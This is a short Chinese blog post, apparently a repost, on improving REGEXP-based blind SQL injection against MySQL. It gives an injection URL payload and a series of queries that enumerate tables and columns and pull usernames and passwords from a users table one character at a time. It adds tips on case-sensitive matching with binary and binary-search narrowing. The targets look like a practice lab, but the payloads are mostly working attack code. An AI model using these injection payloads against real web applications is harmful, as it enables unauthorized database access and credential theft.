码迷,mamicode.com
首页 > 其他好文 > 详细

regexp盲注的一些改进

时间:2018-03-04 22:58:43      阅读:203      评论:0      收藏:0      [点我收藏+]

标签:注意   name   security   二分法   二分   post   数据   blog   users   

index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP ‘^[a-z]‘ LIMIT 0,1) /*

  这是之前看别人的文章写的exp,觉得有点啰嗦,其实可以很直白的写

select group_concat(table_name) from information_schema.tables where table_schema=security;
select((select group_concat(table_name) from information_schema.tables where table_schema=security) regexp binary ^e);
select group_concat(column_name) from information_schema.columns where table_name=users;
select((select group_concat(column_name) from information_schema.columns where table_name=users) regexp binary ^i);
select group_concat(username,:,password) from security.users;
select((select group_concat(username,:,password) from security.users) regexp binary ^D);

几个注意点

1 可以直接用group_concat全部匹配出来

2 mysql中用regexp是区分大小写的,只有对取md5的时候没关系,其他时候要加上binary,不过取数据时就不用group_concat了,用limit一条一条取

3 regexp也可以用二分法 ‘^[a-z]‘ 到 ‘^[a-h]‘

regexp盲注的一些改进

标签:注意   name   security   二分法   二分   post   数据   blog   users   

原文地址:https://www.cnblogs.com/junmoxiao/p/8506441.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!